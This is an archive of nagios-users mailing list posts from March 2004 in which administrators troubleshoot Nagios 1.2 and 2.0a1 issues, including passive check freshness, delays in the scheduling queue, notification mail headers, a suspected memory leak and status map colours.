blm.gov Tue Mar 9 16:28:51 2004 From: Andrew_Hoying at blm.gov (Andrew_Hoying at blm.gov) Date: Tue, 9 Mar 2004 08:28:51 -0700 Subject: Passive checks problem Message-ID: I've got a problem with passive checks going active. I have set up two service templates, both have active checks disabled and check_period set to none. I have a service set up which submits results for the passive services using one of those two templates every 5 minutes or so. However after about 15 minutes, even though they show disabled in the nagios cgi interface, nagios suddenly starts doing active checks for those services which causes all hell to break loose. Why are checks which are set to disabled, set to have no check time, and show up as disabled in the CGI having active checks run?! I am using nagios 1.2 under SuSE 9.0 and have been running for a little over a month using only active checks with no problems. Thanks, Andrew Hoying ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Andrew_Hoying at blm.gov Tue Mar 9 17:14:36 2004 From: Andrew_Hoying at blm.gov (Andrew_Hoying at blm.gov) Date: Tue, 9 Mar 2004 09:14:36 -0700 Subject: Passive checks problem In-Reply-To: References: Message-ID: My bad, I misunderstood freshness checking. Thanks, Andrew Andrew Hoying/NIRM/BLM/D OI To nagios-users at lists.sourceforge.net 03/09/2004 08:28 cc AM Subject Passive checks problem I've got a problem with passive checks going active. I have set up two service templates, both have active checks disabled and check_period set to none. I have a service set up which submits results for the passive services using one of those two templates every 5 minutes or so. However after about 15 minutes, even though they show disabled in the nagios cgi interface, nagios suddenly starts doing active checks for those services which causes all hell to break loose. Why are checks which are set to disabled, set to have no check time, and show up as disabled in the CGI having active checks run?! I am using nagios 1.2 under SuSE 9.0 and have been running for a little over a month using only active checks with no problems. Thanks, Andrew Hoying ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From NAntone at ESNCC.com Tue Mar 9 17:47:38 2004 From: NAntone at ESNCC.com (Antone, Nick) Date: Tue, 9 Mar 2004 11:47:38 -0500 Subject: Canon ImageRunner check? Message-ID: <82681D63B37B9C4B955AAA4B04B3BF2C381F8B@twmail.esncc.com> Sorry if this has been asked previously, I didn't find it anywhere.... I'm not a programmer, so writing my own plugin has been, well, a non-starter. What I am looking for is a way to monitor a Canon ImageRunner copier/printer via Nagios in a fashion similar to HP printers. Currently ping is about it. I've not worked up SNMP yet, nor really researched it with Canon either, so that may be the only route. Anyone looked at/worked on this yet? Ideas? -Nick Nick Antone, Jr. Senior Network Engineer Engineering Services Network, Inc. nantone at esncc.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From steve-nagios at spwiz.com Tue Mar 9 18:01:29 2004 From: steve-nagios at spwiz.com (Steve Meyers) Date: Tue, 09 Mar 2004 10:01:29 -0700 Subject: Scheduling queue Message-ID: I'm having a problem with my scheduling queue. About half of my scheduled checks are not happening. Well, they're happening, but they take a very long time to start... I tried to search the mailing list archives for any similar problems, but for some reason the only relevant messages it showed me were from the bacula-devel mailing list. I have no idea what bacula is. Here is a look at my current scheduling queue: ===================================================================== Host Service Last Check Next Check Active Checks brainstorm Disk Space Used 03-09-2004 04:13:25 03-09-2004 04:17:25 ENABLED repugnus SMTP 03-09-2004 04:13:25 03-09-2004 04:17:25 ENABLED skullgrin Machine Load 03-09-2004 04:13:25 03-09-2004 04:17:25 ENABLED bumblebee HTTP 03-09-2004 04:18:25 03-09-2004 04:19:25 ENABLED grimlock HTTP 03-09-2004 04:17:26 03-09-2004 04:19:25 ENABLED inferno Machine Load 03-09-2004 04:18:25 03-09-2004 04:19:25 ENABLED skywarp Disk Space Used 03-09-2004 04:17:26 03-09-2004 04:19:25 ENABLED inferno Disk Space Used 03-09-2004 04:22:25 03-09-2004 04:23:25 ENABLED sideswipe HTTP 03-09-2004 04:22:25 03-09-2004 04:23:25 ENABLED skywarp Replication 03-09-2004 04:22:25 03-09-2004 04:23:25 ENABLED slag Disk Space Used 03-09-2004 04:22:25 03-09-2004 04:23:25 ENABLED optimus SSH 03-09-2004 04:32:25 03-09-2004 04:34:25 ENABLED repugnus HTTPS 03-09-2004 04:33:25 03-09-2004 04:34:25 ENABLED superion Disk Space Used 03-09-2004 04:35:25 03-09-2004 04:36:25 ENABLED bombshell Flash Chat 03-09-2004 04:34:15 03-09-2004 04:37:15 ENABLED devastator MySQL 03-09-2004 04:34:15 03-09-2004 04:37:15 ENABLED shrapnel Disk Space Used 03-09-2004 04:34:15 03-09-2004 04:37:15 ENABLED barrage DNS 03-09-2004 04:36:24 03-09-2004 04:37:24 ENABLED blurr Disk Space Used 03-09-2004 04:36:24 03-09-2004 04:37:24 ENABLED jetstorm Disk Space Used 03-09-2004 04:36:24 03-09-2004 04:37:24 ENABLED blurr Machine Load 03-09-2004 04:36:25 03-09-2004 04:37:25 ENABLED cutthroat Disk Space Used 03-09-2004 04:36:25 03-09-2004 04:37:25 ENABLED rhinox Replication 03-09-2004 08:37:34 03-09-2004 08:38:34 ENABLED skullcruncher Disk Space Used 03-09-2004 08:37:34 03-09-2004 08:38:34 ENABLED bruticus Disk Space Used 03-09-2004 04:38:15 03-09-2004 08:38:35 ENABLED bruticus Machine Load 03-09-2004 04:38:15 03-09-2004 08:38:35 ENABLED inferno HTTP 03-09-2004 04:27:25 03-09-2004 08:38:35 ENABLED silverbolt HTTP 03-09-2004 06:59:15 03-09-2004 08:38:35 ENABLED blitzwing Disk Space Used 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED devastator Replication 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED frenzy Machine Load 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED grimlock Disk Space Used 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED shrapnel Machine Load 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED skullcruncher MySQL 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED superion Machine Load 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED thrust Machine Load 03-09-2004 08:38:15 03-09-2004 08:39:15 ENABLED chromedome MySQL 03-09-2004 04:37:25 03-09-2004 08:39:25 ENABLED hardhead MySQL 03-09-2004 09:01:14 03-09-2004 09:02:14 ENABLED jetstorm MySQL 03-09-2004 09:27:15 03-09-2004 09:28:15 ENABLED onslaught HTTP 03-09-2004 09:27:15 03-09-2004 09:28:15 ENABLED bumblebee Machine Load 03-09-2004 09:28:25 03-09-2004 09:29:25 ENABLED cutthroat Machine Load 03-09-2004 09:28:25 03-09-2004 09:29:25 ENABLED optimus Machine Load 03-09-2004 09:28:25 03-09-2004 09:29:25 ENABLED rhinox Disk Space Used 03-09-2004 09:28:25 03-09-2004 09:29:25 ENABLED sideswipe Disk Space Used 03-09-2004 08:39:25 03-09-2004 09:29:25 ENABLED afterburner HTTP 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED barrage Disk Space Used 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED barrage Machine Load 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED bombshell Disk Space Used 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED hardhead Machine Load 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED jetstorm Replication 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED onslaught Disk Space Used 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED repugnus Disk Space Used 03-09-2004 09:43:15 03-09-2004 09:44:15 ENABLED brainstorm MySQL 03-09-2004 09:45:18 03-09-2004 09:46:18 ENABLED bumblebee Disk Space Used 03-09-2004 09:45:18 03-09-2004 09:46:18 ENABLED onslaught Machine Load 03-09-2004 09:45:19 03-09-2004 09:46:19 ENABLED silverbolt Machine Load 03-09-2004 09:45:19 03-09-2004 09:46:19 ENABLED skullgrin HTTP 03-09-2004 09:45:19 03-09-2004 09:46:19 ENABLED bombshell Machine Load 03-09-2004 09:45:24 03-09-2004 09:46:24 ENABLED bruticus HTTP 03-09-2004 09:45:24 03-09-2004 09:46:24 ENABLED cutthroat Replication 03-09-2004 09:45:24 03-09-2004 09:46:24 ENABLED cutthroat MySQL 03-09-2004 09:45:26 03-09-2004 09:46:26 ENABLED repugnus HTTP 03-09-2004 09:45:26 03-09-2004 09:46:26 ENABLED skullgrin Disk Space Used 03-09-2004 09:45:26 03-09-2004 09:46:26 ENABLED blurr Flash Chat 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED brainstorm Machine Load 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED devastator Machine Load 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED grimlock Machine Load 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED hardhead Disk Space Used 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED rhinox MySQL 03-09-2004 09:45:33 03-09-2004 09:46:33 ENABLED blitzwing HTTP 03-09-2004 09:45:34 03-09-2004 09:46:34 ENABLED blitzwing Machine Load 03-09-2004 09:45:34 03-09-2004 09:46:34 ENABLED chromedome Disk Space Used 03-09-2004 09:45:34 03-09-2004 09:46:34 ENABLED devastator Disk Space Used 03-09-2004 09:45:34 03-09-2004 09:46:34 ENABLED jetstorm Machine Load 03-09-2004 09:45:34 03-09-2004 09:46:34 ENABLED afterburner Disk Space Used 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED afterburner Machine Load 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED afterburner PHP Errors N/A 03-09-2004 09:46:39 DISABLED barrage PHP Errors N/A 03-09-2004 09:46:39 DISABLED blitzwing PHP Errors N/A 03-09-2004 09:46:39 DISABLED bruticus PHP Errors N/A 03-09-2004 09:46:39 DISABLED bumblebee PHP Errors N/A 03-09-2004 09:46:39 DISABLED chromedome Machine Load 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED skywarp Machine Load 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED superion HTTP 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED thrust HTTP 03-09-2004 09:45:39 03-09-2004 09:46:39 ENABLED skywarp MySQL 03-09-2004 09:45:42 03-09-2004 09:46:42 ENABLED slag Machine Load 03-09-2004 09:45:42 03-09-2004 09:46:42 ENABLED frenzy Disk Space Used 03-09-2004 09:45:45 03-09-2004 09:46:45 ENABLED silverbolt Disk Space Used 03-09-2004 09:45:45 03-09-2004 09:46:45 ENABLED skullcruncher Machine Load 03-09-2004 09:45:45 03-09-2004 09:46:45 ENABLED thrust Disk Space Used 03-09-2004 09:45:45 03-09-2004 09:46:45 ENABLED optimus Disk Space Used 03-09-2004 09:45:46 03-09-2004 09:46:46 ENABLED blurr PHP Errors N/A 03-09-2004 09:46:48 DISABLED bombshell PHP Errors N/A 03-09-2004 09:46:48 DISABLED sideswipe Machine Load 03-09-2004 09:45:48 03-09-2004 09:46:48 ENABLED frenzy HTTP 03-09-2004 09:45:52 03-09-2004 09:46:52 ENABLED repugnus Machine Load 03-09-2004 09:45:53 03-09-2004 09:46:53 ENABLED rhinox Machine Load 03-09-2004 09:45:53 03-09-2004 09:46:53 ENABLED skullgrin PHP Errors N/A 03-09-2004 09:46:53 DISABLED slag HTTP 03-09-2004 09:45:53 03-09-2004 09:46:53 ENABLED slag PHP Errors N/A 03-09-2004 09:46:53 DISABLED superion PHP Errors N/A 03-09-2004 09:46:53 DISABLED thrust PHP Errors N/A 03-09-2004 09:46:53 DISABLED inferno PHP Errors N/A 03-09-2004 09:47:05 DISABLED onslaught PHP Errors N/A 03-09-2004 09:47:05 DISABLED repugnus PHP Errors N/A 03-09-2004 09:47:05 DISABLED shrapnel PHP Errors N/A 03-09-2004 09:47:05 DISABLED sideswipe PHP Errors N/A 03-09-2004 09:47:05 DISABLED silverbolt PHP Errors N/A 03-09-2004 09:47:05 DISABLED frenzy PHP Errors N/A 03-09-2004 09:47:16 DISABLED grimlock PHP Errors N/A 03-09-2004 09:47:16 DISABLED ===================================================================== This snapshot was taking at 9:46am today. As you can see, about half of the checks were scheduled to happen hours ago. I can't seem to narrow it down to any specific hosts or service check types. I have implemented a wrapper on my service checks that creates a temporary file when the check starts, then deletes it when it completes. That would let me know if there was a problem in the checks themselves, if they were simply taking too long. However, it has instead proved that the checks never started at all. I let Nagios run through the night last night, and as you can see, the problem service checks did go through at least once. So it does remember them eventually, it would seem. What could cause this? Is there any more information I can give that would help in debugging this? Thanks! Steve Meyers ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mohamed at divinesword.com Tue Mar 9 18:07:39 2004 From: mohamed at divinesword.com (Mohamed S.) Date: Tue, 9 Mar 2004 12:07:39 -0500 Subject: From: ? In-Reply-To: <1078839509.3822.74.camel@mail.> References: <1078839509.3822.74.camel@mail.> Message-ID: <000401c405f9$07300680$8601a8c0@ishmael> Hey guys! I was wondering if there was any way to play with the email headers of the notifications that nagios sends out. I want to be able to change the From: line. Thx ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.G.Martin at mail.sprint.com Tue Mar 9 18:19:23 2004 From: Stanley.G.Martin at mail.sprint.com (Martin, Stanley G [Non-Employee]) Date: Tue, 9 Mar 2004 11:19:23 -0600 Subject: Disable Serivce Checks not working Message-ID: <516DA7BE5D87C8469D89F150CA0B491104D53284@PDAWB02C.ad.sprint.com> I just upgraded to v1.2 and I can't seem to get any external commands to work. Disabling a service or notifications shows up in nagios.log but don't take affect. Permissions are: drwxrwsr-x 2 nagios nagios 4096 Mar 9 10:50 rw prw-rw---- 1 nagios nagios 0 Mar 9 11:14 rw/nagios.cmd Web server runs as nobody and nobody is part of nagios group. Stanley G. Martin System Administrator Sprint - EAS Business Intelligence 913.762.8667 913.221.8241 PCS Stanley.G.Martin at mail.sprint.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From tiago at pbi.com.br Tue Mar 9 18:36:07 2004 From: tiago at pbi.com.br (Tiago Augusto Wegner) Date: Tue, 09 Mar 2004 14:36:07 -0300 Subject: Passive host unreachable/down Message-ID: <404E0087.20909@pbi.com.br> Hi, I'm experiencing some problem with distributed monitoring. Some of my monitored hosts appear down/unreachable to my monitoring nagios, even if they appear UP in my distributed server. The services that are monitored in those down/unrechable hosts are checked normally, and, by now, are OK. So to say, my host is down/unreachable, but their services are ok, to my monitoring host. To the distributed server all seems ok, both hosts and services.... Hope you could help. Thanks in advance, -- Tiago A. Wegner - Consultor T?cnico tiago at pbi.com.br Red Hat Certified Engineer PBI - Redu??o de TCO www.pbi.com.br 55 51 33251088 /91885858 MSN:tawegner at hotmail.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.G.Martin at mail.sprint.com Tue Mar 9 18:52:18 2004 From: Stanley.G.Martin at mail.sprint.com (Martin, Stanley G [Non-Employee]) Date: Tue, 9 Mar 2004 11:52:18 -0600 Subject: Disable Serivce Checks not working Message-ID: <516DA7BE5D87C8469D89F150CA0B491104D532EC@PDAWB02C.ad.sprint.com> Never mind. I had a second phantom nagios process running. Once I kill both of those and restarted nagios, everything was fine. Stanley G. Martin System Administrator Sprint - EAS Business Intelligence 913.762.8667 913.221.8241 PCS Stanley.G.Martin at mail.sprint.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Martin, Stanley G [Non-Employee] Sent: Tuesday, March 09, 2004 11:19 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Disable Serivce Checks not working I just upgraded to v1.2 and I can't seem to get any external commands to work. Disabling a service or notifications shows up in nagios.log but don't take affect. Permissions are: drwxrwsr-x 2 nagios nagios 4096 Mar 9 10:50 rw prw-rw---- 1 nagios nagios 0 Mar 9 11:14 rw/nagios.cmd Web server runs as nobody and nobody is part of nagios group. Stanley G. Martin System Administrator Sprint - EAS Business Intelligence 913.762.8667 913.221.8241 PCS Stanley.G.Martin at mail.sprint.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve-nagios at spwiz.com Tue Mar 9 19:02:15 2004 From: steve-nagios at spwiz.com (Steve Meyers) Date: Tue, 09 Mar 2004 11:02:15 -0700 Subject: Scheduling queue In-Reply-To: References: Message-ID: <1078855335.26978.46.camel@quigon.internal.securemingle.com> On Tue, 2004-03-09 at 10:01, Steve Meyers wrote: > I'm having a problem with my scheduling queue. About half of my scheduled > checks are not happening. Well, they're happening, but they take a very > long time to start... I tried to search the mailing list archives for any > similar problems, but for some reason the only relevant messages it showed > me were from the bacula-devel mailing list. I have no idea what bacula is. I figured out the problem, I think. Somehow my check_service_freshness got enabled, and turning that off seems to have fixed the problem. I don't know why, and it doesn't make sense to me, but as long as it works I'm happy. :) Steve ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From daniel at unity.ncsu.edu Tue Mar 9 18:58:44 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Tue, 9 Mar 2004 12:58:44 -0500 (EST) Subject: 1.2: Memory Leak? Something? Message-ID: Folk, Ever since moving from Solaris to Linux for our Nagios servers, I've noticed Nagios gradually taking up what seems like more and more memory as it runs, to a point where it eventually shoots itself in the head. (sort of.. it appears to "get confused" at some point) We have two redundant Nagios servers that failover via Heartbeat if one dies. Often, the manifestation of the memory run-out is is that heartbeat isn't able to fire off it's "are you there?" to the other host, and so it turns control over to the other server. This is good because no one notices Nagios upset, but I'd still like to find out what's causing it to continuously grow in size. We have a potentially odd configuration that may have something to do with it. Basically, I have a mysql database with all of the information about our servers. (servers are organized by a "class", and the class determines what checks occur via Nagios for that server) Anyway, this db is probed every 15 minutes for changes, and the nagios config files are re-generated. If there are differences, nagios is hup'd to reread it's config. Due to the number of servers we have, the frequency in which people add or remove servers, etc, I would say that quite a lot of hup-ing occurs. I am pointing this out because I suspect that has something to do with our problems. Perhaps the rereads are leaking memory somewhere? Anyway, I'm not sure what else to say about it at the moment, so if I can provide further information, please let me know. I haven't done real graphs or anything of the memory drainage, I'm just going by my own observations. If I need real data, I can certainly begin gathering it. Anyone else observed this behavior? Thanks! Daniel -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mohamed at divinesword.com Tue Mar 9 19:44:58 2004 From: mohamed at divinesword.com (Mohamed S.) Date: Tue, 9 Mar 2004 13:44:58 -0500 Subject: From: ? In-Reply-To: <1078857741.14436.75.camel@localhost> References: <1078857741.14436.75.camel@localhost> Message-ID: <002801c40606$9f8af130$8601a8c0@ishmael> Hmmm the machine has qmail-send on it, /usr/bin/mail works as well...so im guessing it's using the mail() function to send.. > -----Original Message----- > From: jeff vier [mailto:jeff.vier at tradingtechnologies.com] > Sent: Tuesday, March 09, 2004 1:42 PM > To: Mohamed S. > Cc: nagios-users > Subject: Re: [Nagios-users] From: ? > > > On Tue, 2004-03-09 at 11:07, Mohamed S. wrote: > > I was wondering if there was any way to play with the email > headers of > > the notifications that nagios sends out. I want to be able > to change the > > From: line. Thx > > Using what MTA? > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mwd at cray.com Tue Mar 9 19:44:17 2004 From: mwd at cray.com (Mark Dalton) Date: Tue, 09 Mar 2004 12:44:17 -0600 Subject: Where does 2.x work? In-Reply-To: <1078845247.14436.0.camel@localhost> References: <87llma3mx4.wl@badger.wordzoo.com> <1078845247.14436.0.camel@localhost> Message-ID: <404E1081.2030400@cray.com> I have run it on SuSE 9.0, RedHat 9.0, and Cray Unicos/mp. I do need to make the changes more formal and send them back for Unicos/mp. For linux I only had problems on the web server permissions for 'servicegroup overview', 'servicegroup summary' and 'servicegroup grid'. The hostgroup * all worked as expected, I have to dig through and see what I may have done wrong (since hostgroup works). So it is not the htaccess, or the config file (I don't think, since I have checked that and permissions are there). Mark jeff vier wrote: >On Mon, 2004-03-08 at 18:05, Jared Rhine wrote: > > >>In a recent email, I outlined a problem where Nagios 2.0a1 doesn't >>create status.dat on startup. Another person confirmed that problem, >>on a different OS even. This is a pretty fundamental issue, so it's >>kind of a head-scratcher. Does anyone have 2.0a1 working on their >>machine, and if so, what OS are you running? >> >> > >I run it without issue on RH9 > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 9 19:42:21 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 09 Mar 2004 12:42:21 -0600 Subject: From: ? In-Reply-To: <000401c405f9$07300680$8601a8c0@ishmael> References: <000401c405f9$07300680$8601a8c0@ishmael> Message-ID: <1078857741.14436.75.camel@localhost> On Tue, 2004-03-09 at 11:07, Mohamed S. wrote: > I was wondering if there was any way to play with the email headers of > the notifications that nagios sends out. I want to be able to change the > From: line. Thx Using what MTA? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From steve-nagios at spwiz.com Tue Mar 9 20:28:39 2004 From: steve-nagios at spwiz.com (Steve Meyers) Date: Tue, 09 Mar 2004 12:28:39 -0700 Subject: Scheduling queue In-Reply-To: <1078855335.26978.46.camel@quigon.internal.securemingle.com> References: <1078855335.26978.46.camel@quigon.internal.securemingle.com> Message-ID: <1078860519.26978.56.camel@quigon.internal.securemingle.com> On Tue, 2004-03-09 at 11:02, Steve Meyers wrote: > I figured out the problem, I think. Somehow my check_service_freshness > got enabled, and turning that off seems to have fixed the problem. I > don't know why, and it doesn't make sense to me, but as long as it works > I'm happy. :) Okay, I lied. It worked for a little bit, now it's screwed up again. Here is the info from my "Performance Info" page: ============================================== ACTIVE CHECKS Time Frame Checks Completed <= 1 minute: 22 (22.9%) <= 5 minutes: 73 (76.0%) <= 15 minutes: 75 (78.1%) <= 1 hour: 91 (94.8%) Since program start: 52 (54.2%) Metric Min. Max. Average Check Execution Time: < 1 sec 1 sec 0.021 sec Check Latency: < 1 sec 1 sec 0.021 sec Percent State Change: 0.00% 0.00% 0.00% PASSIVE CHECKS Time Frame Checks Completed <= 1 minute: 0 (0.0%) <= 5 minutes: 13 (81.2%) <= 15 minutes: 16 (100.0%) <= 1 hour: 16 (100.0%) Since program start: 13 (81.2%) Metric Min. Max. Average Percent State Change: 0.00% 0.00% 0.00% ============================================== The load on the server is 0.02, 0.04, 0.00. My service_reaper_frequency is 10, and my max_concurrent_checks is 0. What other info can I provide? Thanks! Steve Meyers ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 9 21:08:54 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 09 Mar 2004 14:08:54 -0600 Subject: From: ? In-Reply-To: <002a01c40608$84e742f0$8601a8c0@ishmael> References: <002a01c40608$84e742f0$8601a8c0@ishmael> Message-ID: <1078862934.14436.79.camel@localhost> On Tue, 2004-03-09 at 12:58, Mohamed S. wrote: > Hmmm the machine has qmail-send on it, /usr/bin/mail works as well...so > im guessing it's using the mail() function to send.. set an environment variable in your nagios user's shell's rc script (.bashrc or .cshrc, for instance): MAILNAME="Nagios" (or whatever you want it to be) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Tue Mar 9 21:37:42 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: 09 Mar 2004 20:37:42 +0000 Subject: Status Map In-Reply-To: References: Message-ID: <1078864662.25939.1.camel@floyd> On Tue, 2004-03-09 at 04:33, De Souza Zaineb wrote: > I have added some new hosts to my configuration files. And on my > updated status map, these new hosts alter between a background of > green and grey. > > Any ideas why? Green indicates host status OK (passed check_host), grey indicates host status undetermined, which I've seen before when having hosts with no check_host command defined. CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All 